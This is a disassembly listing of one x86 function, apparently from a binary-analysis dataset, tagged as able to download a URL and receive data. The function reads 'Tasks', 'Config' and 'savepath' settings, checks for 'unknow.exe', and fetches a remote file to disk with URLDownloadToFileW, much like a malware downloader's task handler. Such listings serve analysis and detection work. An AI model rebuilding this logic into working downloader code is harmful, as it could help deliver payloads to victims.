Function at 0x454200
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5642cb
mov eax, dword fs:[0]
push eax
sub esp, 0x314
mov eax, dword [0x5b0514]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x2ac], ebx
xor eax, eax
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 7
mov word [ebp - 0x260], ax
push 0xc
mov dword [ebp - 4], eax
call fcn.004810d1
mov esi, eax
mov dword [ebp - 0x30c], 0
add esp, 4
mov dword [ebp - 0x308], 0xf
xorps xmm0, xmm0
mov byte [ebp - 0x31c], 0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov ecx, dword [ebx + 4]
push 5
mov dword [esi], ecx
lea ecx, [ebp - 0x31c]
push str.Tasks
call fcn.00406610
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x304]
push 6
push str.Config
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0xf
mov byte [ebp - 0x304], 0
call fcn.00406610
mov byte [ebp - 4], 2
lea eax, [ebp - 0x31c]
push dword [ebx + 4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x304]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004025c0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x2f0]
cmp edx, 0x10
jb 0x45434a
mov ecx, dword [ebp - 0x304]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454340
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cad
push edx
push ecx
call fcn.00497d51
add esp, 8
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x2f0], 0xf
mov byte [ebp - 0x304], 0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x308]
cmp edx, 0x10
jb 0x4543a3
mov ecx, dword [ebp - 0x31c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454399
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cb2
push edx
push ecx
call fcn.00497d51
add esp, 8
push 8
push str.savepath
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x308], 0xf
mov byte [ebp - 0x31c], 0
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.00406610
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
cmp dword [eax + 0x14], 8
jb 0x454417
mov eax, dword [eax]
push str.unknow.exe
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
mov edx, dword [ebp - 0x2c8]
test eax, eax
sete bl
cmp edx, 8
jb 0x454468
mov ecx, dword [ebp - 0x2dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x45445e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cb7
push edx
push ecx
call fcn.00497d51
add esp, 8
xor eax, eax
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 7
mov word [ebp - 0x2dc], ax
cmp edx, 0x10
jb 0x4544c3
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4544b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cbc
push edx
push ecx
call fcn.00497d51
add esp, 8
test bl, bl
je 0x4548c9
xorps xmm0, xmm0
mov dword [ebp - 0x290], 0
xor eax, eax
movlpd qword [ebp - 0x2a8], xmm0
movaps xmm0, xmmword [0x595410]
mov dword [ebp - 0x28c], 7
mov word [ebp - 0x2a0], ax
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], 7
mov word [ebp - 0x288], ax
movups xmmword [ebp - 0x270], xmm0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2c4]
push 7
push 0x58f760
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], al
call fcn.00406610
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov byte [ebp - 4], 9
cmp dword [eax + 0x14], 8
jb 0x454574
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.0047f580
mov byte [ebp - 4], 8
mov edi, eax
mov edx, dword [ebp - 0x2c8]
cmp edx, 8
jb 0x4545c6
mov ecx, dword [ebp - 0x2dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4545bc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cc1
push edx
push ecx
call fcn.00497d51
add esp, 8
xor eax, eax
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 7
mov word [ebp - 0x2dc], ax
cmp edx, 0x10
jb 0x454621
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454617
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cc6
push edx
push ecx
call fcn.00497d51
add esp, 8
test edi, edi
je 0x4548af
mov ecx, dword [ebp - 0x290]
test ecx, ecx
je 0x4548af
cmp dword [ebp - 0x28c], 8
lea eax, [ebp - 0x2a0]
push ecx
cmovae eax, dword [ebp - 0x2a0]
lea ecx, [ebp - 0x260]
push eax
call fcn.00410900
sub esp, 0x18
lea eax, [ebp - 0x260]
mov ecx, esp
push eax
call fcn.00402a30
lea ecx, [ebp - 0x230]
call fcn.00414ec0
add esp, 0x18
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2dc]
push 8
push str.savepath
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
call fcn.00406610
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2c4]
push 5
push str.Tasks
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.00406610
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x248]
push 6
push str.Config
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
call fcn.00406610
mov edi, dword [ebp - 0x2ac]
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0xd
mov ecx, 0x5ba9b8
cmp dword [ebp - 0x21c], 8
cmovae eax, dword [ebp - 0x230]
push eax
lea eax, [ebp - 0x2dc]
push eax
push dword [edi + 4]
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00436070
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x234]
cmp edx, 0x10
jb 0x4547a5
mov ecx, dword [ebp - 0x248]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45479b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454ccb
push edx
push ecx
call fcn.00497d51
add esp, 8
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x2b0]
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
cmp edx, 0x10
jb 0x4547fe
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4547f4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cd0
push edx
push ecx
call fcn.00497d51
add esp, 8
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
cmp edx, 0x10
jb 0x454857
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45484d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cd5
push edx
push ecx
call fcn.00497d51
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x4548b5
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454891
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cda
push edx
push ecx
call fcn.00497d51
add esp, 8
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a8]
call fcn.0047eeb0
jmp 0x4549f1
mov edi, dword [ebp - 0x2ac]
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 5
call fcn.0047eeb0
jmp 0x4549f1
push 8
push str.savepath
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
call fcn.00406610
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edx, eax
mov byte [ebp - 4], 0xf
cmp dword [edx + 0x14], 8
jb 0x454928
mov edx, dword [edx]
mov ecx, edx
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x454930
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x260]
call fcn.00410900
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x454990
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454986
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cdf
push edx
push ecx
call fcn.00497d51
add esp, 8
xor eax, eax
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 0x10
jb 0x4549eb
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4549e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454ce4
push edx
push ecx
call fcn.00497d51
add esp, 8
mov edi, dword [ebp - 0x2ac]
cmp dword [ebp - 0x250], 0
jne 0x454a06
mov dword [esi + 4], 0
jmp 0x454c48
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00521a60
mov eax, dword [edi]
lea ecx, [ebp - 0x260]
add esp, 0xc
cmp dword [ebp - 0x24c], 8
cmovae ecx, dword [ebp - 0x260]
add eax, 0x550
cmp dword [eax + 0x14], 8
jb 0x454a3f
mov eax, dword [eax]
push ecx
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push 7
push 0x58f760
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.00406610
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x2b0]
cmp edx, 0x10
jb 0x454add
mov ecx, dword [ebp - 0x2c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454ad3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454ce9
push edx
push ecx
call fcn.00497d51
add esp, 8
push 7
push 0x58f760
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0xf
mov byte [ebp - 0x2dc], 0
call fcn.00406610
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0x13
push eax
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
cmp dword [eax + 0x14], 8
jb 0x454b51
mov eax, dword [eax]
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [ebp - 0x21c]
mov edi, eax
cmp edx, 8
jb 0x454ba7
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454b9d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cee
push edx
push ecx
call fcn.00497d51
add esp, 8
mov edx, dword [ebp - 0x2c8]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 0x10
jb 0x454bfe
mov ecx, dword [ebp - 0x2dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454bf4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cf3
push edx
push ecx
call fcn.00497d51
add esp, 8
mov edx, dword [ebp - 0x234]
xor eax, eax
test edi, edi
sete al
mov dword [esi + 4], eax
cmp edx, 8
jb 0x454c48
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454c3e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cf8
push edx
push ecx
call fcn.00497d51
add esp, 8
lea ecx, [ebp - 0x2ec]
call fcn.00407520
mov edx, dword [ebp - 0x24c]
cmp edx, 8
jb 0x454c8f
mov ecx, dword [ebp - 0x260]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454c85
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cfd
push edx
push ecx
call fcn.00497d51
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00497d40
mov esp, ebp
pop ebp
ret
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
call fcn.00524a29
int3